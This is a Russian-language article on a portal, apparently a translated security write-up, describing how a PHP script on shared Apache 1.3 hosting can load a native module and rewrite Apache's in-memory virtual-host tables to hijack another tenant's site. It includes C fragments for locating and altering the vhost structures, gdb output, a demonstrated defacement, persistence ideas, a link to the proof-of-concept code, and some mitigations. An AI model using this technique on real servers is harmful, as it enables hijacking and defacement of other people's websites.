LT   EN   RU  
2024 г. март 29 д., пятница Straipsniai.lt - Информационный портал
  
  Компьютеры > Компьютерные технологии > Хакеры
Lankomumo reitingas Версия для печати Spausdinti
Атака на Apache с встроенными модулями в мультидоменной среде

Содержание

Введение

Память в Apache : Виртуальные хосты
Нахождение виртуальных хостов в памяти
Изменяем виртуальный домен
Примерная атака
Добавление нового виртуального хоста
Сохранение эффекта
Возможные решения проблемы
Источники

A - Приложение: Реализация

Введение

Эта статья описывает простой путь для изменения памяти процесса Apache [1]. Большинство хостинг провайдеров используют PHP [2] и Mod_perl [3] как встроенные модули в Apache для увеличения быстродействия Вэб-сервера. Этот метод, естественно много быстрее чем загрузка внешних программ или расширений (как, например, использование php в режиме cgi). Но с другой стороны эти скрипты запускаются в той же области памяти, что и процесс apache, так что вы легко можете изменять ее содержимое.

Существует только одна причина, почему все эти вещи, описанные ниже, будут работать именно так как должны. Apache запускает 5 потомков (по умолчанию). После HTTP запроса, процесс не умирает. Вместо этого, после закрытия соединения, текущий процесс apache будет и дальше обслуживать поступающие следом запросы. То есть, после посылки множества запросов на сервер apache, вы сможете "инфицировать" каждый процесс.

Мы используем эту технику атаки для подмены виртуального хоста на сервере. Я знаю, существуют другие методы для получения контроля над HTTP запросами (используя открытые файловые дескрипторы,...). Но все другие методы требуют как минимум один процесс, запущенный на сервере, который захватывает HTTP запросы и перенаправляет их. Этот метод подмены apache не требует другого процесса, потому что мы изменяем память самого процесса apache, и он работает также как и до этого.

Это техника атаки требует доступа к учетной записи на Вэб-сервере, где хостятся не менее двух сайтов (иначе все это не будет иметь смысла). Вы не сможете атаковать Apache без вашего php скрипта на этом сервере (однако, если сервер будет подвержен некоторым уязвимостям класса "Remote Include", то вы, конечно, сможете запустить скрипт на удаленной машине).

Память в Apache : Виртуальные хосты
Когда Apache получает HTTP запрос, создается объект типа request_rec. Этот объект содержит информацию о HTTP запросе, как, например используемый метод (GET, POST..), номер протокола HTTP и.т.д. Далее нужный список для ip адреса этого сервера будет определен в хэш-таблице ip адресов (iphash_table). Указатель на этот список будет сохранен в объекте request_rec (переменная vhost_lookup_data). После чтения всех заголовков HTTP запроса, Apache обновляет статус vhost запроса. Далее указатель vhost_lookup_data будет использоваться для нахождения нужного виртуального хоста.

Apache использует внутренний список для его виртуальных хостов. Для увеличения скорости запросов поиска, он использует больше одного списка и хэш-таблицу для определения IP адресов. Информация о каждом виртуальном хосте сохранена в объекте типа server_rec.

[apache_1.3.29/src/include/httpd.h]
...
struct server_rec {

server_rec *next;

...

/* Контактная информация */

char *server_admin;
char *server_hostname;
unsigned short port; /* для перенаправлений, и.т.п. */

...

char *path; /* Путь для ServerPath переменной */
int pathlen; /* длина пути */

array_header *names; /* Обычные имена для серверов
с ServerAlias */
array_header *wild_names; /* Шаблонные имена для серверов с
ServerAlias */

uid_t server_uid; /* эффективный идентификатор пользователя,
когда вызываем exec wrapper */
gid_t server_gid; /* эффективный идентификатор группы,
когда вызываем exec wrapper */
};


Как вы можете видеть, здесь присутствуют много интересных значений, которые мы бы хотели изменить. Представьте, что вы имеете виртуальный хвост на том же веб-сервере что и http://www.evil.com. Теперь вы просто ищете этот виртуальный хост и изменяете некоторые его значения.

И так, мы знаем, где Apache хранит информацию о виртуальных хостах. Сейчас, мы попробуем найти список и структуры, которые указывают на эти server_rec объекты. Давайте посмотрим, где именно Apache инициализирует свои виртуальные хосты.

[apache_1.3.29/src/main/http_vhost.c]
...
/* вызывается в начале конфигурации */
API_EXPORT(void) ap_init_vhost_config(pool *p)
{
memset(iphash_table, 0, sizeof(iphash_table));
default_list = NULL;
name_vhost_list = NULL;
name_vhost_list_tail = &name_vhost_list;
}
...


Как вы можете видеть, здесь используется два списка и одна хэш-таблица. Хэш-таблица используется для определения IP адресов. default_list содержит записи сервера по умолчанию, а name_vhost_list содержит все остальные виртуальные хосты. Объекты из хэш-таблицы имеют следующую структуру:

struct ipaddr_chain {
ipaddr_chain *next;
server_addr_rec *sar; /* запись вынужденная быть в этой цепочке
* (нужна для сравнения вместе ip адреса и порта)
server_rec *server; /* сервер для использования
при совпадении */
name_chain *names; /* если не-NULL то список имен vhosts
* разделяющих этот адрес */
};


Теперь мы имеем список имен виртуальных хостов указывающих на данный IP адрес (name_chain *names). И из этой структуры мы получаем прямой доступ к данным виртуальных хостов:

struct name_chain {
name_chain *next;
server_addr_rec *sar; /* запись вынужденная быть в этой цепочке
* (нужна для сравнения порта) */
server_rec *server; /* сервер для использования
при совпадении */
};

Следующий код будет находить нужный vhost (variable host):

...
for (i = 0; i < IPHASH_TABLE_SIZE; i++) {
for (trav = iphash_table[i]; trav; trav = trav->next) {
for (n = trav->names; n != NULL; n = n->next) {
conf = ap_get_module_config(n->server->module_config,
&core_module);
if ( (host != NULL &&
!strcmp(host, n->server->server_hostname)) ||
host == NULL ){
php_printf("VirtualHost: [%s, %s, %s, %s]
\n",
n->sar->virthost,
n->server->server_admin,
n->server->server_hostname,
conf->ap_document_root);
}
}
}
}
...


Нахождение виртуальных хостов в памяти
Если наша цель изменить характеристики виртуальных хостов, то мы должны знать где Apache хранит эти списки в памяти. Apache инициализирует списки до чтения конфигурационного файла. Это происходит в функции ap_init_vhost_config().

[apache_1.3.29/src/main/http_vhost.c]
...
/* вызывается в начале конфигурации */
API_EXPORT(void) ap_init_vhost_config(pool *p)
{
memset(iphash_table, 0, sizeof(iphash_table)); <---- Да, это то
что нужно
default_list = NULL;
name_vhost_list = NULL;
name_vhost_list_tail = &name_vhost_list;
}
...

Есть много путей для получения адреса iphash_table. Вы можете использовать gdb, nm (когда не файл не урезан),..

andi@blackbull:~$ gdb /usr/sbin/apache
GNU gdb 2002-04-01-cvs
Copyright 2002 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you
are welcome to change it and/or distribute copies of it under certain
conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i386-linux"...(no debugging symbols found)...
(gdb) disass ap_init_vhost_config
Dump of assembler code for function ap_init_vhost_config:
0x080830e0 : push %ebp
0x080830e1 : mov %esp,%ebp
0x080830e3 : sub $0x8,%esp
0x080830e6 : add $0xfffffffc,%esp
0x080830e9 : push $0x400
0x080830ee : push $0x0
0x080830f0 : push $0x80ceec0
^^^^^^^^^^
адрес iphash_table
0x080830f5 : call 0x804f858
0x080830fa : add $0x10,%esp
0x080830fd : movl $0x0,0x80cf2c0
0x08083107 : movl $0x0,0x80cf2c4
0x08083111 : movl $0x80cf2c4,0x80cf2c8
0x0808311b : leave
0x0808311c : ret
0x0808311d : lea 0x0(%esi),%esi
End of assembler dump.

Если у вас нет доступа к файлу apache, вы можете использовать другой метод: В hoagie_apachephp.c есть некоторые внешние определения функций apache.

...
/* Некоторые внешние определения для получения адреса из памяти */
extern API_EXPORT(void) ap_init_vhost_config(pool *p);
extern API_VAR_EXPORT module core_module;
...

То есть, внутри нашего модуля мы уже имеем адреса этих функций и можем использовать встроенный дизассемблер для их получения.

iphash_table =
(ipaddr_chain **)getcall((char*)ap_init_vhost_config, "push", 3);

default_list =
(ipaddr_chain *)getcall((char*)ap_init_vhost_config, "mov", 1);

И теперь, очень просто изменить любые данные о vhost. Примечание: Какой вызов, с mov или push возвратит правильный адрес, будет зависеть от компилятора и его версии. Также, можно использовать встроенный дизассемблер для вывода ассемблерного кода на страницу.

Примерная атака
Представим следующую ситуацию: Мы имеем три каталога (для каждого виртуального хоста) и три файла index.html. Давайте взглянем на их содержимое:

andi@blowfish:/home$ ls -al hack1/ vhost1/ vhost2/
hack1/:
total 16
drwxr-sr-x 2 andi andi 4096 Apr 25 03:33 .
drwxrwsr-x 7 root staff 4096 Apr 25 03:00 ..
-rw-r--r-- 1 root staff 20 Apr 25 02:19 index.html

vhost1/:
total 332
drwxr-sr-x 2 andi andi 4096 May 6 14:20 .
drwxrwsr-x 7 root staff 4096 Apr 25 03:00 ..
-rw-r--r-- 1 andi andi 905 May 6 14:21 hoagie_apache_php.php
-rwxr-xr-x 1 andi andi 317265 May 6 14:25 hoagie_apache.so
-rw-r--r-- 1 root andi 15 Apr 25 02:18 index.html

vhost2/:
total 16
drwxr-sr-x 2 andi andi 4096 Apr 25 03:31 .
drwxrwsr-x 7 root staff 4096 Apr 25 03:00 ..
-rw-r--r-- 1 root andi 15 Apr 25 02:18 index.html
-rw-r--r-- 1 andi andi 15 Apr 25 03:31 test.html
andi@blowfish:/home$ cat hack1/index.html
hacked!!!!!
w0w0w0w
andi@blowfish:/home$ cat vhost1/index.html
www.vhost1.com
andi@blowfish:/home$ cat vhost1/hoagie_apachephp.php
...
if (php_hoagie_loaddl()) {
hoagie_setvhostdocumentroot("www.vhost2.com", "/home/hack1");
} else {
php_hoagie_debug("Cannot load " . PHP_MEM_MODULE);
}
...
andi@blowfish:/home$ cat vhost2/index.html
www.vhost2.com
andi@blowfish:/home$ cat /home/andi/bin/apache/conf/httpd.conf
...

ServerAdmin webmaster@vhost1.com
DocumentRoot /home/vhost1
ServerName www.vhost1.com
ErrorLog logs/www.vhost1.com-error_log
CustomLog logs/www.vhost1.com-access_log common



ServerAdmin webmaster@vhost1.com
DocumentRoot /home/vhost2
ServerName www.vhost2.com
ErrorLog logs/www.vhost2.com-error_log
CustomLog logs/www.vhost2.com-access_log common

...
andi@blowfish:/home$


Перед атакой мы посылаем несколько http запросов, и смотрим на правильные
ответы:

andi@blowfish:/home$ nc www.vhost1.com 8080
GET / HTTP/1.0
Host: www.vhost1.com

HTTP/1.1 200 OK
Date: Thu, 06 May 2004 12:52:58 GMT
Server: Apache/1.3.29 (Unix) PHP/4.3.6
Last-Modified: Sun, 25 Apr 2004 00:18:38 GMT
ETag: "5a826-f-408b03de"
Accept-Ranges: bytes
Content-Length: 15
Connection: close
Content-Type: text/html

www.vhost1.com
andi@blowfish:/home$ nc www.vhost2.com 8080
GET / HTTP/1.0
Host: www.vhost2.com

HTTP/1.1 200 OK
Date: Thu, 06 May 2004 12:53:06 GMT
Server: Apache/1.3.29 (Unix) PHP/4.3.6
Last-Modified: Sun, 25 Apr 2004 00:18:46 GMT
ETag: "5a827-f-408b03e6"
Accept-Ranges: bytes
Content-Length: 15
Connection: close
Content-Type: text/html

www.vhost2.com
andi@blowfish:/home$


Давайте теперь начнем атаку...

andi@blowfish:/home$ /home/andi/bin/apache/bin/ab -n 200 -c 200 \
http://www.vhost1.com:8080/hoagie_apachephp.php
....
andi@blowfish:/home$ nc www.vhost2.com 8080
GET / HTTP/1.0
Host: www.vhost2.com

HTTP/1.1 200 OK
Date: Thu, 06 May 2004 12:56:27 GMT
Server: Apache/1.3.29 (Unix) PHP/4.3.6
Last-Modified: Sun, 25 Apr 2004 00:19:57 GMT
ETag: "1bc99-14-408b042d"
Accept-Ranges: bytes
Content-Length: 20
Connection: close
Content-Type: text/html

hacked!!!!!
w0w0w0w
andi@blowfish:/home$


Добавление нового виртуального хоста

Вместо изменения виртуального хоста можно добавить новый.
Мы знаем, что Apache использует iphash_table для определения правильного
виртуального хоста соответствующего его IP адресу. Но, когда добавляеться
новый виртуальный хост, необходимо сначала посчитать хэш ключ. Это делается
функцией hash_inaddr():

[apache_1.3.29/src/main/http_vhost.c]
...
static ap_inline unsigned hash_inaddr(unsigned key)
{
key ^= (key >> 16);
return ((key >> 8) ^ key) % IPHASH_TABLE_SIZE;
}
...


Во многих случаях есть готовый объект типа name_chain (*names), потому что
это довольно необычная ситуация, когда текущий IP адрес не использовался бы
для переменной vhost. Так что, мы проходим через список names и добавляем
объект типа name_chain. До того как мы сможем добавить новый объект или
переменную нам нужно получить значение pconf для функции ap_palloc().
ap_palloc это malloc функция Apache. Она использует пулы для решений, где
сохранять данные. Адрес pconf используется в ap_register_other_child().


Теперь можно создать объект типа name_chain. Далее добавим server_addr_rec
объект, где сохранена информация об IP адресе, и порт(используется для
определения IP адреса). После этого более важный объект будет добавлен:
server_rec. Мы можем установить переменные: администратора сервера,электронный
ящик сервера, конфигурацию модулей, конфигурацию директорий и.т.п.
Посмотрим на hoagie_apachephp.c в функции hoagie_addvhost():

...
/* Выделяем память для новых объектов виртуального хоста
и его подобъектов */
nc = ap_palloc(pconf, sizeof(name_chain));
nc->next = NULL;

/* устанавливаем IP адрес и порт */
nc->sar = ap_palloc(pconf, sizeof(server_addr_rec));
nc->sar->next = NULL;
nc->sar->host_addr.s_addr = ipaddr;
nc->sar->host_port = 8080;
nc->sar->virthost = ap_palloc(pconf, strlen(ipaddrstr) + 1);
strcpy(nc->sar->virthost, ipaddrstr);
...


Теперь снова стартуем apache bench(ab) и инфицируем процессы apache.


Сохранение эффекта

Итак, мы умеем инфицировать процессы apache, которые запущены в данный момент.
Но когда поступает множество HTTP запросов, Apache создает новые процессы
которые не инфицированы.


Однако, есть возможность сделать перенаправление сигнала вызова нового процесса
для всех запущенных процессов Apache. Это осуществимо, при использовании
Runtime Process Infection, (используя .so путь ;)). То есть после каждого
нового соединения все запущенные процессы apache будут тоже инфицированы. Для
более подробного понимания смотрите [4]. Тем не менее, это может быть сделано
только когда Apache запущен не из под root пользователя, потому что после
setuid() вызова со старым uid, права доступа уже не будут равны прежнему uid
и Linux очистит dumpable флаг для этого процесса. Но этот флаг должен
присутствовать, если мы хотим использовать функцию ptrace() на этом процессе.


Возможные решения проблемы

Лучшим решением было бы что-нибудь вроде возможности пометить только для чтения
конфигурацию Apache в памяти.


Для PHP вы можете просто выключить "dl()" функции или включить safe mode для
всех ваших виртуальных хостов. В случае, если вы используете mod_perl,
необходимо выключить все семейство dl() функций (смотрите DynaLoader). В общем
случае можно сказать, что каждый встроенный модуль Apache уязвим к атакам
этого типа (при условии, что вы можете получать доступ напрямую к памяти).
Я написал код для понимания концепции атаки для PHP и ModPerl, потому что в
наши дни эти скриптовые языки используются на большинстве веб-серверов apache.

Реализация: http://void.ru/cgi-bin/fget?/files/1251/hoagie_apache.tar.gz

         

Lankomumo reitingas

Oбсудить на форуме - Oбсудить на форуме

Версия для печати - Версия для печати

Назад
Случайные теги:    Развлечения (26)    Кошки (11)    Военное искусство (3)    Буддизм (3)    Азербайджан (7)    Фильмы (10)    Авиация (2)    Египет (5)    Процессоры (7)    Стиль (5)    Гостья из будущего (35)    Мистика (83)    Накопители (2)    Интернет (15)    Хакеры (116)    Животные (31)    Политика (3)    Комплектующие (18)    Воспитания (3)    Археология (3)    Настольные игры (17)    Право человека (8)    Набоков В. В. (94)    НЛО (24)    Медицина (84)    Хоби (27)    Скейборды (2)    Страны (22)    Биология (34)    Наука (90)    Ислам (3)    Собаки (6)    Мобильная связь (5)    Сканеры (2)    Компьютеры (290)    Фэншуй (4)    Память (2)    Образование (101)    Безопасность (43)    Драконы (12)    Прогр. обеспечение (15)    Технологий (4)    Психология (27)    Архитектура (3)    Анна Ахматова (3)    Физкультура (3)    Культура (88)    География (4)    Кино (45)    Путешествия (2)
1. Марокканские хакеры воюют с Израилем
2. Банкам предложена система защиты от онлайн-грабежей
3. Турецкие хакеры взломали французский сайт Microsoft
4. Шотландский университет начинает готовить дипломированных хакеров
5. Microsoft выпускает защитные программы под новым брендом
6. Венесуэлец украл телефонного трафика на 1 млн долларов
7. Швеция расследует атаку на правительственный сайт
8. Российский бэкдор распространяется через сайт американской торговой сети
9. В университете Огайо в течение года не замечали взлома сервера
10. Microsoft рекомендует использовать Word в безопасном режиме
1. Wi-Fi побеждает Ethernet в домашних сетях
2. Foundstone выпустила SiteDigger - программу для поиска уязвимостей на сайтах
3. iWork против Microsoft Office
4. Обход каталога в phpBB Attachment Mod
5. Новый хакерский инструмент: шоколадка
6. Билл Гейтс и другие коммунисты
7. Toshiba вводит в практику квантовую криптографию
8. Кто сказал, что безопасность должна оставаться несбыточной мечтой?
9. Корпорации беззащитны перед внутренними угрозами
10. P2P-пираты - полезные члены сообщества
Map